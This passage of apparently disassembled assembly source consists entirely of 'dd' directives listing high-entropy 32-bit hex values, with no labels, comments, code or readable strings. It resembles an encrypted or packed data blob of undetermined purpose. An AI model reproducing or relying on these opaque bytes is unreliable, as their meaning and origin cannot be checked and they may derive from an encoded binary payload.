29385F05h, 0CBF0DB11h, 6E143E18h dd 508FD3F7h, 0B5A23B2Ch, 0E9612AF1h, 8D3B45C9h, 20C7BA93h dd 0B9660E1Bh, 218716FDh, 9B5977CDh, 0F9607EE1h, 8D0EA855h dd 0B34C183Fh, 3FC7105Fh, 680F5D0Eh, 579B7FBEh, 20BD2E01h dd 19A5E948h, 13E460A6h, 2EC9BE63h, 0C5FAB73Bh, 9895E8D1h dd 0B888DCBBh, 0B9474419h, 1DC460A0h, 14099E02h, 0E90C08EDh dd 0EB337C95h, 76319E09h, 73425D29h, 7FE90801h, 78CA7A85h dd 96483214h, 2321AFD6h, 4E073C5Ah, 0AB9F7DC5h, 0CBCDFD47h dd 44DB7C4Bh, 42F6F452h, 21BBE05Bh, 72AFD97Eh, 89538F96h dd 55CEAB27h, 0FEB724C1h, 7038AB61h, 0A5C02CB0h, 5C2D9DCEh dd 6789773h, 9CFC9980h, 0C0FD7F2Dh, 69C4E9CCh, 0A16899A3h dd 75C1365Dh, 37920EFh, 0E66B5BE1h, 0E9F9D8B0h, 0BB3BC040h dd 548A2B2Eh, 0A0003791h, 55597877h, 57320268h, 55D01F0h dd 9FB0D85Fh, 0D2970564h, 1D6C04C5h, 0C15720FAh, 6A527824h dd 1828DFC9h, 597F3610h, 0BF530AA7h, 42139A2Bh, 9557504Ah dd 69DAFE09h, 96354E1Fh, 35A5F06Ah, 46606503h, 0F9C6092Eh dd 486FC951h, 0B1C07D10h, 7419310h, 0E239E981h, 0DFD4CFBFh dd 0F1EF969Eh, 0BFF32F2Dh, 95EF044Eh, 5BE178Dh, 0BBDBF70Fh dd 0F81CA832h, 3A91205Ch, 0F95BEE96h, 412A8F30h, 27027027h dd 0B5AC3A6Bh, 26820073h, 0E94A01C4h, 0A29572E4h, 4045051Dh dd 283DA971h, 0C3863Eh, 6E284403h, 20E9EB29h, 0F282349h dd 24D58851h, 3CFF1E61h, 281682EEh, 82A43296h, 306AEBDEh dd 0E72D5E7Bh, 4084285Eh, 15D0703h, 0E41193D9h, 0F11833CEh dd 1EE5FB47h, 6703213h, 0BA5E25AEh, 593ACC01h, 127B7175h dd 1BD9D8BEh, 0E37E7A45h, 63CA6419h, 1078A14h, 30FDEF80h dd 0CF2827C7h, 406E10DDh, 0E2E98702h, 1240AD8h, 327808F7h dd 0C376F020h, 71EE9DC0h, 2438C7AFh, 0B9BF089h, 80AF0AAEh dd 0EE5FFB25h, 396D3790h, 0B820608Dh, 58C5488Eh, 0C5EDD128h dd 97252BF8h, 46C3DE55h, 4FB863E8h, 6E92799Dh, 6051C980h dd 0B34173E9h, 76C9BC3Fh, 9F71775Eh, 0E27E90EDh, 83D19328h dd 272E715Ah, 0D10184ACh, 44DF87F1h, 7A8CB199h, 0F41733A8h dd 0D3C3D079h, 30E31D18h, 20362BFh, 28E965F7h, 0AC516BF6h dd 7C5CB700h, 99D163Bh, 0B40BD5BBh, 6857FD00h, 469529CAh dd 1B9F2795h, 605FF649h, 0C3A8DEBCh, 4E629A68h, 94BCCD3h dd 37103DFh, 70429881h, 5BEB8CFh, 203E6AF3h, 16F1E838h dd 0D9EBC4DDh, 59CD7BEAh, 407EAB22h, 20B059Fh, 9322676h dd 0D64642E9h, 477DE929h, 116806A1h, 585BA744h, 9AF9013h dd 0C65F5FC5h, 19559764h, 48357B53h, 0B582B86Bh, 1FD86131h dd 0D12A2D00h, 400E8D25h, 8064B54Ah, 0E8E0302Ch, 53130474h dd 94097AB3h, 2F37D4D0h, 0B062A3D4h, 3FEC1627h, 351A6EB5h dd 804E6D1h, 0BB00B4EFh, 7C404598h, 5BD92421h, 698A04EEh dd 0E187C054h, 0E32852C7h, 660F657h, 0C623AF1Eh, 5A7B9569h dd 1633640Bh, 0C0287B9Ch, 947BF567h, 0BF70576Ah, 8D0C10A0h dd 0C1D84681h, 0A0DBD61Ah, 335E0AE7h, 6FDFE5F9h, 32FB2D22h dd 87C125D7h, 692CFBF1h, 5A56838h, 9020D7C6h, 4476B79Ch dd 422319A5h, 17FBD870h, 0F1682028h, 8AAC2B45h, 0D683E83Ch dd 0B4BE96Bh, 27679F59h, 0F086C1C0h, 81D2882Eh, 7726F67Eh dd 0C6016C8Fh, 80AEA8B7h, 22717DFEh, 0F3BFDE65h, 49B9A3Eh dd 0EF1227ABh, 0FCBCD9C4h, 0A2C61F5h, 15E0041h, 317AFBF9h dd 332205Ch, 603CB147h, 58C4B32Eh, 9D75200Ch, 0C198147Fh dd 4CE95425h, 0DE2B3495h, 1C6831Eh, 5C211AB4h, 112DB2B5h dd 745B2B3Fh, 5B62FFD8h, 9CD5F0E5h, 0EA54549Ah, 0DD4E88EDh dd 6F46CF05h, 0E248B2BFh, 0FB5C0487h, 0D89204ADh, 9327E9A5h dd 0B080D247h, 10620F68h, 8AA40C99h, 0B4B1CC4Fh, 922D7B7Ah dd 54C6990Dh, 12D6B23Ah, 0F3BA418Dh, 319A84E8h, 0AFD30FFCh dd 6ED1B70Eh, 15C6002Dh, 0D3CDE9EAh, 4BB3BE5Eh, 0A1A5B4DBh dd 0D7F7E0AFh, 0D2334E95h, 0A3A2BA1Bh, 0DC681262h, 0FF57B277h dd 57976950h, 5E407216h, 0A92D1F21h, 0EC29660h, 195D2AACh dd 2A53E7FCh, 0CDA0BCBCh, 38585B63h, 8F542E02h, 7FECD089h dd 7B1EC87h, 0A119D5DCh, 43A07B1Ch, 4B03132Fh, 9627AF7Ah dd 2B8858C1h, 0E66B446Ah, 60B800F4h, 0F444AC79h, 0F6D9B7BCh dd 8B17A202h, 8EE6C019h, 68A1C186h, 0D2DE7547h, 9E432A74h dd 0C937047Eh, 816D3DC0h, 0C883F1FFh, 8CBEF61Bh, 6CF22D01h dd 88E24F24h, 803A07D4h, 0DE60E78h, 5F7FE95Dh, 0F0B14973h dd 0A8F960ABh, 5824C4EBh, 0F98139CBh, 304F311Fh, 73B6BD2Eh dd 12BE4C3Ch, 52E2400Ah, 77E75C70h, 3236AC5Fh, 0DE2DC8F9h dd 5DB90073h, 41597F1Fh, 0BE1789Fh, 0A680E0A7h, 83A42178h dd 4242B9Fh, 0F2AE5505h, 0A5C6131Fh, 5601BD29h, 1CAC5348h dd 68500251h, 9E7511F7h, 0B6584AF7h, 0E9F01EE9h, 83BE032Eh dd 726E1D68h, 0AAB3D96Dh, 5E575C02h, 3879F91Bh, 60282F88h dd 51C380FAh, 0C4D38499h dd 0E78E87AAh, 0E4CCECF3h, 61DA9841h, 0D07AF546h, 0EE404835h dd 6D59602Ch, 0C4D117BFh, 0D9C420A8h, 57D9BA42h, 44965839h dd 145644BAh, 173C2CF1h, 0A5BE8426h, 28378526h, 0C3CCAB1Ch dd 86D4A158h, 5CE1A620h, 4A1870F7h, 4DBB3E09h, 60D70A1Eh dd 0E870CF89h, 2F4CDB11h, 2A7E668Ch, 4E08EF14h, 0CB5037ABh dd 1C839EFFh, 257459E9h, 34A94EFDh, 0BAFF2F53h, 46C2C0Bh dd 2C073017h, 4D803E2h, 0D2D567A7h, 44513739h, 469DBA1h dd 0EB162CEBh, 51F5F644h, 97CD31EBh, 0CC2B8819h, 0B2F72D07h dd 0E35157B2h, 0E9830A53h, 84F47876h, 0C407EB80h, 0ABFD57D6h dd 5932F944h, 3557D7C5h, 43D368B2h, 0D7768AEh, 54259B2Dh dd 544E6A30h, 0F19DE5E0h, 0B75360C3h, 0FA4C880Eh, 78F0CE3Bh dd 95DCF622h, 0D1974A64h, 79FCA5BAh, 304A8961h, 0E9535A40h dd 3296F377h, 0AF1015Eh, 3A75E71Eh, 1D8205FFh, 9A8A888h dd 0E3DF5759h, 0EB39D816h, 0F746003Ch, 79BB53D6h, 26120E0Ah dd 2CFCE3C1h, 584DE81Fh, 71E20C1Fh, 60EA2D2Fh, 0B6ADE926h dd 0FE280C64h, 0E3F70D10h, 50B2EECCh, 972E2AC4h, 97880AB6h dd 970F05Dh, 0F51C472Ah, 6A70E2FEh, 17597BBFh, 5B544CA7h dd 761425A6h, 9896C4Fh, 0F59F0864h, 2CC03FE1h, 76164E71h dd 841E2009h, 0F6AEBDE3h, 64FA5B09h, 0B161B8DEh, 518041E9h dd 0F65BF57h, 79D7E5Dh, 0B7F34678h, 0D76F3B4Bh, 216E2293h dd 331D7165h, 135B7E83h, 0ED961DB2h, 9BF98501h, 0CAABA653h dd 71449B9h, 92EE80ADh, 17D2F004h, 0B74958C0h, 486C8840h dd 0EC754D20h, 3A5F0579h, 0BDAC78E9h, 0D1F1705Ch, 0E181002Dh dd 4409170Fh, 0F805E15Eh, 649F3861h, 6CC3F44Ch, 9F782C5Dh dd 1389998h, 0CBBF4E70h, 0D57517FDh, 630B29FEh, 505B801Fh dd 9F0FE952h, 0DBDFAEE2h, 4C8A00D2h, 0D9012345h, 33080782h dd 5B598F9Ah, 2E79E96Fh, 0E71A8C55h, 0D2A45C0Ch, 31C16777h dd 3B4E6858h, 4D7215A5h, 0B8751C84h, 1FA9D4CBh, 5513103Ch dd 0CA2FC0EEh, 0E658C14Eh, 74681222h, 30E1C8ACh, 908D7AF0h dd 6CF1B88Bh, 989D313Ch, 0B2D468CCh, 8496C90Eh, 18C7AD20h dd 0E902BDEh, 0E816D84Ah, 0E468FEB6h, 0F7C10D5h, 425C680h dd 8ED38836h, 0A97BF9FBh, 5A62F26Eh, 515EAD46h, 30D01CF0h dd 2346606h, 0D573AC2Bh, 29D4405Dh, 283DB3F1h, 142EEA9Bh dd 0F7471E97h, 8D87729h, 21095505h, 0BBB7BF8h, 0FD4CAE94h dd 0BF4023B9h, 5B4E066Ch, 0BFCBC17h, 0D4116847h, 6D6A8932h dd 3DA3D35Fh, 92FB3CAEh, 0C365FB5Ch, 4F70A2FFh, 55C085BCh dd 612E30BDh, 0D5F73614h, 6217A043h, 3BD8953Ah, 2E024400h dd 0E9FD0914h, 9FF99221h, 0C7D1EE93h, 0EAAC5031h, 534C47B4h dd 0C22F2D23h, 6F765F51h, 2DC9D8FAh, 0CF44C311h, 0A61AFE9Fh dd 73280867h, 52FA2D17h, 53A4BA8Eh, 881813B6h, 0F910FBF5h dd 5B21942Dh, 0E9BAD784h, 0D55DA2A3h, 5FE52A59h, 8B409ECh dd 243C5D58h, 0F55A84D8h, 4FB0284h, 0EF8BCB88h, 0A31FEA5Ah dd 0C0FED8C7h, 2F27754Bh, 288C8D53h, 0D50510FDh, 2A202D58h dd 0B9658BDh, 5EFD40BEh, 853A8F7h, 482F552Bh, 813F45D1h dd 2E29D95Dh, 0D5CA4C12h, 4F76D650h, 0ED8CD02Eh, 38907FEEh dd 12237895h, 60267968h, 0AA186014h, 7BF24950h, 46B03E1Dh dd 0A517E78Fh, 3582452Ah, 0C7C3DE0Dh, 5F18C898h, 2E728362h dd 2AC36E7Dh, 686609ECh, 4C571D23h, 0FF7665D6h, 2D4FA2Dh dd 0B758AABh, 64256368h, 59542F3Ch, 40E79A5Dh, 0E5064861h dd 0C52F2B21h, 9008BDD5h, 71A017DDh, 7E3CCBABh, 260DD528h dd 0A91ABB0Fh, 79A26416h, 6E08BF00h, 0C4B72CEAh, 0AB214E96h dd 25FE010Fh, 0C7BBD476h, 0C6C4A996h, 56C0865Fh, 7E88F704h dd 0E5283EC5h, 276E7F1Ch, 40A436D5h, 5521E214h, 3B189ABDh dd 932B68FFh, 77853E55h, 902C6497h, 5F0A0FC4h, 0BF2C6A0h dd 2CE90DC6h, 0F0283BCFh, 45A3307h, 0DEF87763h, 0E808E985h dd 0B5B21D44h, 0FACD4CCBh, 388873F9h, 0E11212F4h, 0E04BE58h dd 8DB20291h, 9D3B8B16h, 6BB22AD8h, 0B40BBD6h, 3D3BB3EFh dd 0BF7EC6Eh, 0B58C3586h, 59E957C0h, 0AC7C6367h, 87B4BB65h dd 0C77612C5h, 0B690537h, 0FDE2FA56h, 88DA072Fh, 2E1AE255h dd 0F1AC01BAh, 60AA6DD0h, 89BF881Fh, 6253DDE3h, 0CBC88A16h dd 4B29FE51h, 0B4A68870h, 5C19E8F9h, 17B00AA8h, 34E8D002h dd 0C80AE901h, 91A353Dh, 215BCA71h, 0ED04AFF8h, 0F525FDBh dd 5F3F12ABh, 105483D0h, 0C016802h, 637B16E9h, 0CA20E801h dd 0FC3C5AB8h, 0D001B12Eh, 0F127D132h, 0D155A142h, 806842CDh dd 5985FFCAh, 0BBA7EE30h, 2F43C710h, 727E7429h, 89F35340h dd 0A4345181h, 0B708178Fh, 812CEE09h, 0E90FA0EAh, 0C2D14984h dd 0FBB60F16h, 4A3B6A98h, 799CFF31h, 0B3305B88h, 0F4914B20h dd 9534992Dh, 0BD284060h, 9732AA09h, 8F7A24Fh, 0DB90625Dh dd 0C27F25AAh, 0FE26CA60h, 0F64B531Ch, 409816A4h, 759FADFDh dd 0CE357190h, 0C3E3DC9Dh, 0FAEDB5E9h, 0B2133CE7h, 6D31EE70h dd 1E5C280Ah, 3BE14103h, 0AC7FEC99h, 27F0105Fh, 0EA716813h dd 0B53823E3h, 812D6604h, 3CEF9EBh, 25E9F329h, 573412ECh dd 0ABFD0150h, 0DA7B712Fh, 98147861h, 82AC4346h, 0CA3E3EFCh dd 0ED696F17h, 9DAD5BE0h, 0AB4D5384h, 4AF40D2Dh, 22FEB7B4h dd 35A5C58h, 0E920F780h, 26709DF4h, 87270A98h, 8B415139h dd 0B3744E7Ch, 0DE69E062h, 97EB978Fh, 0AB14F457h, 0C0B294BCh dd 0BF07FEDCh, 69E7395Dh, 0FD31ADA2h, 587E9F1h, 10D25A9Ah dd 1CDE66Dh, 0B9515E54h, 30B03383h, 1059FEE4h, 80D204D9h dd 0BDBE7EEAh, 82BA4BB4h, 0C9AF2740h, 837EC285h, 0A3D93571h dd 0B9EC2B8Ch, 523DA99h, 4A7BC0F1h, 94CE4C3Fh, 64289059h dd 20874FB0h, 16826854h, 0C0F4DDCBh, 1CABB405h, 0C333EC80h dd 0E388FDC4h, 3E904C13h, 169C9FFDh, 8607B25Ch, 278D7EE9h dd 8CFAC681h, 345948A1h, 6458390Ch, 4EAAD67Dh, 0EEF78BC2h dd 0E557516Ch, 17CBB805h, 0DCFFDA86h, 0A207C368h, 29DD198Ah dd 3056E921h, 9D9D9C2Fh, 990C3BD2h, 0F115565Dh, 93FAED7Bh dd 992935B4h, 8E408977h, 25C94477h, 0A2A5A5DBh, 7413E82Ch dd 560E6E5Ah, 0AADB6F80h, 3580E126h, 208E5653h, 961EC48h dd 9B33CCBh, 0EEA7BD84h, 503AC459h, 1FCEB960h, 0FA175239h dd 2E5778A5h, 53EB53CCh, 2F9FA662h, 751EE2BFh, 0F5E9C471h dd 0FC898CE5h, 9D43E480h, 0C1CD1155h, 124BB96Eh, 663030A8h dd 2D4B7CBEh, 46E12759h, 0B097A3Ch, 42A5D609h, 100C938h dd 973081D8h, 2628CAD6h, 2C564F4Dh, 570B3566h, 35A5C678h dd 1834DB5h, 6C096909h, 0E7076058h, 13FC594Bh, 2B0F1BC6h dd 1EA3F106h, 0B0C3B21h, 8E1DBCC3h, 528B7D07h, 6A7F53A5h dd 590807BEh, 1302EEFEh, 4A6DE18Ch, 0A281FD29h, 78403A2Ch dd 472636EBh, 805A1834h, 0E45331F7h, 87C8BD78h, 0C90481D9h dd 6CAB5473h, 176E01B8h, 828843A5h, 6FE0291Eh, 61823810h dd 71DC0F19h, 0A5688089h, 828D074Bh, 1A695D7Ah, 0AE4946C8h dd 4ED5D853h, 31DA209Dh, 0EC1C9104h, 307B7CCBh, 970C2D84h dd 3767BC19h, 6E420E24h, 9033400Bh, 12942759h, 509FBDF0h dd 273979C0h, 0B2F422D2h, 0FA44AC09h, 0C1C8F2B3h, 11CFF56Bh dd 63E07A13h, 0A5182DDh, 0C0BAC94Fh, 70EB8096h, 99E3483Ah dd 0E206C775h, 1C980F58h dd 632E92Eh, 209F3770h, 101B9668h, 49E74658h, 3D862462h dd 0D750F88Bh, 0CCF85014h, 0C3A5A760h, 1A0E381Dh, 0FACB2932h dd 391C080Ch, 3347C18h, 375B10Ch, 68591A19h, 872A6C43h dd 509AC21h, 0DDCAF73Ah, 28456E2h, 5D22A0EFh, 0C6B8502Eh dd 0A91CD409h, 32C15DC9h, 0C3E47E7Dh, 0B7527B9h, 0C1050C5Ch dd 0A10208EDh, 42ADA818h, 0E9C6C068h, 20414155h, 96A27BC9h dd 0D5AFC1D6h, 0F37F7709h, 0C008B437h, 7C5B68C9h, 0E92F4204h dd 32BA457Ah, 47F8EDE5h, 0B1C5F95h, 2007D29Fh, 54762FE2h dd 0F14EF92Dh, 0CF56AF7Dh, 57F49D5Eh, 0DC7BE963h, 0D11663B2h dd 7AAB93E1h, 5E5FD317h, 0F4EDE50Bh, 0FF4928h, 0F6CB0BAEh dd 0F0BA0164h, 29A0F250h, 3593A6CAh, 67FEB112h, 4B0948A7h dd 603AF45Eh, 7D2D60A9h, 7BEF0D05h, 80BF7E61h, 31E903AFh dd 50272EB4h, 0ECF99DE9h, 3E353E4h, 0B207FA5Fh, 8EF2C8C2h dd 0A7825F33h, 0B3754F67h, 58AFD295h, 1E579F75h, 0B2B0EC94h dd 0E3C131F2h, 777BD94h, 24480140h, 0EE312C2Bh, 22BF0162h dd 96024061h, 3DB95138h, 2542DF24h, 29B7815Dh, 443F58C7h dd 0E33CC0B8h, 8A8148A1h, 0CFBC9F98h, 211E51BCh, 2E08CBF8h dd 857AF2D4h, 3B8D350h, 16BF10C4h, 9185E891h, 0D15E1093h dd 2A6768A2h, 51C138ABh, 0E7B3E913h, 55AB21ABh, 6D603B50h dd 9895D0F7h, 0E6A35A42h, 0F5291328h, 0D96F382Dh, 0B36EB5h dd 0E9C70B79h, 4304402h, 69A4297Dh, 6227F520h, 9C8F9E5Dh dd 5E22F509h, 594A4882h, 397882FDh, 60407536h, 0FBC6F44Fh dd 202CEFC1h, 0BF02E2C7h, 30AC7B21h, 0BB34C857h, 7D9E2C11h dd 7E9144Dh, 0E05EF05Ah, 0F25AA09Fh, 487227B5h, 0B804AA32h dd 0FBB2AC42h, 0D95A5D80h, 1F2BF78h, 80550882h, 630F58E8h dd 0D3012450h, 0FB071340h, 6C88FD2Dh, 0F44010E1h, 0BDF9DDC3h dd 0A69015E6h, 3B5F4122h, 71F403EBh, 2515B001h, 2A224C68h dd 0D03675Fh, 4F95D0C6h, 7CF07025h, 1E8FB0BBh, 0A4F114ACh dd 1062ACB3h, 12B5173Dh, 0F6A001FEh, 2BAC68D5h, 0B383ECE8h dd 6C17207Eh, 7B0CED80h, 4A463EEBh, 0C12BEC58h, 3F1F6007h dd 0B74C3AF4h, 661294E5h, 0D351A3BEh, 0B513FC95h, 6B9C2DBAh dd 7C65ECC0h, 0BD789866h, 5895DFD2h, 8D14270Ch, 0DC918DC9h dd 0D6FA57E0h, 13082AD0h, 1213685Ah, 0F7C4CFB2h, 0C6A6ACA8h dd 72C12F82h, 0FAF04BC6h, 0FCBCE0C1h, 929EF87Fh, 0F3D74BD7h dd 52377659h, 11D18C20h, 682F734Dh, 7DE8C2FEh, 0E904EB53h dd 0CBEF5B63h, 735B7DA3h, 0E1B952C3h, 7320E70Ch, 0F7B0AA97h dd 0DD1DA2C0h, 3DF397C0h, 316E863Fh, 27DAEBC1h, 2ADD6E53h dd 1038F22Bh, 31162AC5h, 4CA5A77Ch, 0AEA11206h, 5017E7AAh dd 0BA2CECE7h, 9B9FE625h, 164C604h, 80098A1h, 0B69496E9h dd 0C6229006h, 6F880C86h, 0C8930BD1h, 0F88B0230h, 70F280DAh dd 0B27595C0h, 93845F8Ch, 0E0BD0F9Bh, 813FC060h, 3DD12E5h dd 0ED900034h, 8C2BC730h, 5D589FB8h, 97F810DEh, 4CFBAC5Bh dd 0D06C2CB4h, 76E103C5h, 4CB53A7Bh, 4CF80406h, 37852E1Eh dd 173D95EEh, 4956BA45h, 0AAFF06BAh, 0C30BB18Dh, 4849E259h dd 28A0A40Bh, 98C99D2Fh, 2829C9C7h, 0F125BDD2h, 841E7B62h dd 0FB1EB068h, 6DFAA431h, 15FF5D02h, 42DD261Bh, 5E027BCAh dd 554F5556h, 8B9B22Dh, 0E04F47A8h, 63521168h, 22A0B869h dd 0EB3949F0h, 21C39CF6h, 0A810CB1Bh, 0B126B168h, 97372CCCh dd 5A5ABE2Dh, 3C2BC159h, 0F0B55101h, 282F1EB7h, 13C014EFh dd 0BA8AE780h, 2AF7A901h, 6E68F828h, 65D0B7A7h, 1017AD2Bh dd 0E5A96EAh, 56001ABh, 3BEE2355h, 0C7BD67B0h, 375BA54Fh dd 0ABC89E4h, 0E57CAE4Ah, 0E9F10B21h, 1CF5AC2Fh, 498AFC7Bh dd 820519BDh, 0C2364220h, 185710D8h, 8033A42Fh, 0BC1E60B8h dd 5D8866DBh, 91C26CBh, 1BD5E0D5h, 0ACFB9CADh, 2D9C5AFh dd 0FF04E2BDh, 831B5179h, 0D5AFB1Ah, 0BE9534BEh, 60990288h dd 3BA58A6h, 692CC105h, 0AF02314Ah, 582D924Eh, 4A5BE4B5h dd 0CD38AACDh, 681384C6h, 0FC681318h, 767913DAh, 55F60C52h dd 2C806DE0h, 0B151245Bh, 0F0B008AFh, 8E77E2Fh, 680160C3h dd 2142593Ch, 60924B20h, 0CFBD2523h, 1D4ADE2Eh, 5C7966B0h dd 37161660h, 38588969h, 85574D8Bh, 0A3BEEA68h, 78A98BB2h dd 765EBF36h, 49285079h, 41BF9C4h, 0CBEAD9F7h, 57B3040Ch dd 81BF1E90h, 55BBBC6Ah, 0FDF4BBEAh, 0E76262DEh, 99FF7F1Fh dd 5D8B109Fh, 0FFE34E9h, 39B9E281h, 3320678Ah, 58DC0193h dd 0E9D629BDh, 3F536C64h, 0F9C1275Fh, 0D385086Eh, 5989531Dh dd 19FBE805h, 29202641h, 8EB94F9h, 3713E90Bh, 896DE5FDh dd 0F2F26398h, 1F5DEB3Ah, 4D09DF29h, 181F66B7h, 35313D68h dd 282467Ah, 77271FBh, 0ABA6C447h, 0D025D513h, 132ACBEFh dd 6E54F92Ch, 0AD6F212Fh, 38204EB1h, 0D6680BFCh, 0D0ACD634h dd 104CC968h, 2810D307h, 0AC525AC4h, 7CCDAA21h, 0F3F68100h dd 7FB03E07h, 35D2F701h, 610D80FAh, 0C1700C69h, 527FC062h dd 18E94230h, 0D95F3B75h, 0C354B22Dh, 7090B480h, 0DA4095CDh dd 1C0292EDh, 40E911AAh, 0CBA568B8h, 9D5091Bh, 0B71F801h dd 0DE1D3B60h, 0E7E91858h, 0ABCB932Ah, 20B64D1Dh, 246E39Ch dd 20C1CAFh, 4F5246B1h, 0F7C8DBF7h, 776EA97Dh, 0E104A00Ch dd 50DF895Eh, 611A895Bh, 0C2FE6C2Ah, 8857C880h, 88E174BFh dd 273D7E85h, 0B0C74EBh, 0E183FEBEh, 0A52E44E8h, 9194CEFh dd 3DF9CB0Fh, 0BB531D80h, 556B7719h, 1CBA5201h, 4A23C97Bh dd 3E0E0238h, 0F2C040BBh, 277196D5h, 5FB789Fh, 6CE9DD31h dd 0D6D64B66h, 4CD55E32h, 12E20B65h, 11D55388h, 0B8005E47h dd 0BE24EE52h, 7F2D9179h, 25FEA89h, 0A320988h, 0CD910378h dd 52D9AE65h, 0C3178153h, 490276ADh, 3103FA3Ah, 384B08E3h dd 0A68AB61Ah, 0DA131BAh, 6A71E6E9h, 70EAEC16h, 0C9E9D019h dd 680FC492h, 62AD51F2h, 90D1895Ah, 81B323B2h, 80509254h dd 0ED2D9DC0h, 0A0820B0Ah, 2A84C389h, 0AF61AA28h, 37642CFBh dd 2617C3Bh, 0B220B823h, 0C07D9EA7h, 4EE0C14Fh, 2DD90003h dd 6B260142h, 62B6E92Dh, 2860499h, 0A6C816D2h, 5A86DDB6h dd 0BB0E825Fh, 37DBF075h, 7B1ADE29h, 6AA983C3h, 0EB1D341Bh dd 3C4169F8h, 2C68A324h, 0CF5C7D36h, 0BA9C5356h, 582418F3h dd 7793BE76h, 0E9B3CC28h, 8C54B26h, 5A8E33A7h, 0B19EBCA2h dd 8E6A3C73h, 948659A9h, 3CE41C07h, 84AB2393h, 0BE081639h dd 811CEB7Ch, 5C22344Dh, 0D69535AEh, 0D4C95015h, 0CD9030BFh dd 6859801Ah, 2F5E6E2Ah, 7F67B72Fh, 907826A9h, 6E288D09h dd 66A10002h, 9055826Fh, 3559099Ah, 0A6004CA5h, 34063C48h dd 0ACFC909Dh, 80B70153h, 0EFC0D7F6h, 170ABC03h, 0AEF8C5C7h dd 0BB203B22h, 0ECB1D3E2h, 64B28493h, 0AB051716h, 0ACAACE84h dd 0DAAEA5FFh, 7D531554h, 52BB006Eh, 0E91DCD76h, 52F94E7Fh dd 21BCD58Fh, 45CC788h, 920F4ABh, 0DF1C5726h, 0CC4D3710h dd 47881907h, 1463A2BDh, 397A2AE0h, 0EE465A80h, 0F162954Eh dd 434F535Fh, 323BA1F3h, 44D1184Fh, 1D26C923h, 846DBB39h dd 0C656E0F1h, 0F2170C12h, 0FE130713h, 669B06FAh, 0C55BC96Ch dd 1660EEEh, 0BDDB68DFh, 5E3B2945h, 0F2BEAF85h, 405CA238h dd 0AC9D4CCDh, 0D8281C24h, 307C9268h, 5037B2B1h, 0D75BE97Ch dd 0B06074Fh, 0D5696272h dd 570BD959h, 88907E54h, 35281A4Fh, 3F048309h, 8B80026h dd 9F01F375h, 0A68BCE89h, 94766DFh, 7817708Ah, 0C10B4056h dd 0BA850EEh, 0FAFDAF74h, 762D84h, 36BA0C2Dh, 0B4895BAEh dd 718401ACh, 8D66FF7h, 2250C09Fh, 41E9402Ah, 3EA7A95Ah dd 0BC69F817h, 67E4E719h, 2792AE8h, 68C828F2h, 90996A6Bh dd 5418AFB6h, 3BE9C2FFh, 0C002D670h, 0EA8008E2h, 9ABB8272h dd 2ED80BF9h, 5F7416B5h, 4C41EB74h, 46E52456h, 12A16720h dd 105416Ch, 97654434h, 0DCB53E45h, 2FB8F0FCh, 37C0D46Ah dd 54C72672h, 66C0BA5Dh, 7D3104C8h, 6DBE2AEAh, 7BA2E3h dd 0E9F96CEh, 0F131134Fh, 3EE0AF5Eh, 9B43118Dh, 59074004h dd 0C5010B8h, 0D89D49DCh, 0A3DD9D3Eh, 0B9E82863h, 8E325C48h dd 231B4405h, 5A01BB4Dh, 674CB8BFh, 0D731E0h, 8FF7815Ah dd 97E5661h, 0E95FF905h, 8EEAA753h, 92543F87h, 0B5E20586h dd 8C223127h, 51561851h, 71BF3F42h, 8462CE6h, 0BB1F0E2Dh dd 0DD290331h, 69EDDC81h, 20E0F2A1h, 4616EE1Fh, 50BB2E99h dd 0B65F0873h, 3C87137Ah, 3294F6AEh, 71308310h, 70046B3Ah dd 3F81AE43h, 29014F28h, 0A1976CF1h, 0FA3B6568h, 755CB71Ah dd 34C2A959h, 42B5F952h, 0C6F5D168h, 0E9563EB9h, 867AF327h dd 0B85CF878h, 33AC96B0h, 1334211h, 1A2EE4C3h, 0E82F53A3h dd 0F709C7C9h, 0E102919Ah, 80428A08h, 0A96A87DEh, 97E91780h dd 18A3B353h, 0EF55B819h, 921B1664h, 1FC3C403h, 0E53C81ABh dd 7FEDE947h, 2DAD2504h, 7E6AF1FAh, 0F6D55CD8h, 51025D4h dd 0E0390BDFh, 976CBBB6h, 0C7F10918h, 0B479FF82h, 32DA6861h dd 0E90AAB4Bh, 37FABF6h, 665D265Ch, 9B20C04h, 0E9BF9AA3h dd 0FE279D78h, 58DE08Ah, 450B7D35h, 0F77717E9h, 0C0B0771Ch dd 88104A62h, 7287DFEFh, 5CD06BFAh, 0B51F5020h, 63559182h dd 43FEA79Ah, 0DEDF488Bh, 903D650Dh, 0BF575AE6h, 0A363740Bh dd 5381571Eh, 702FE181h, 0EFB03F15h, 0F83CE265h, 895A8F00h dd 411BE9CDh, 0F0A96F1Ah, 22EF2613h, 0F85876DFh, 1CFB6813h dd 0B1517730h, 27B60A79h, 3B778CE9h, 0E913FF4Bh, 760A5DC2h dd 0EE5213E2h, 5A9C418Ch, 44B333E0h, 0A622BEDDh, 10D877C1h dd 2634DB9Dh, 0DB01DCBh, 7E265490h, 0E03B8FA5h, 89416499h dd 16613820h, 0B88B412Ch, 29F73A1h, 0B580329h, 0B84BE550h dd 0E1D17281h, 0F562C13Fh, 0BFF9A0DCh, 9278492Eh, 5292FFADh dd 0D3888681h, 0AC876E8Ah, 85EE7C69h, 0D330D2F6h, 34AD8431h dd 7ED04D2h, 8839F963h, 65A73E8Bh, 46975F70h, 34EE8414h dd 0AB2C203Bh, 4119F0F4h, 801D4541h, 0E68865B2h, 97BD585Fh dd 745D729Ah, 0FA5D1699h, 0D1A32B31h, 13B6D648h, 0F17C48D3h dd 2DBF2B5Ah, 8AF82ECFh, 6482EA9h, 9857A7CFh, 0ACFE9D2Fh dd 4BE625F6h, 1C43F5Ch, 0C9F6A4EAh, 660455B4h, 0E6BAF331h dd 0D824D972h, 7D33CB3Eh, 0DF9B6839h, 55721FD7h, 0FBC3467Ah dd 0B00A3070h, 0F4DE5F25h, 689DC629h, 955AD332h, 1DCA2479h dd 0D961720Ah, 25645DA5h, 95151320h, 6E2D7578h, 301AD286h dd 0BA0C70FCh, 6DFA0577h, 7C1286BFh, 1F629F0Fh, 26FFD240h dd 0C93CA09Bh, 0B1528B94h, 0B634CFB2h, 42370BBAh, 0F6765A2Ah dd 2949081Dh, 0DE6CAB44h, 0C581890Ah, 82FEE2F7h, 0A3AA7F0Fh dd 12C3012Dh, 0A88289DAh, 25558F0Fh, 54D090D0h, 2E37A768h dd 86580F75h, 0B6FB09FEh, 26914E4Fh, 0B49551EAh, 9D79AA53h dd 8051B05Dh, 2920B714h, 66F3430Dh, 3F0F995h, 48974682h dd 6987CEF8h, 510293Bh, 0BF6F83EEh, 2605B5A8h, 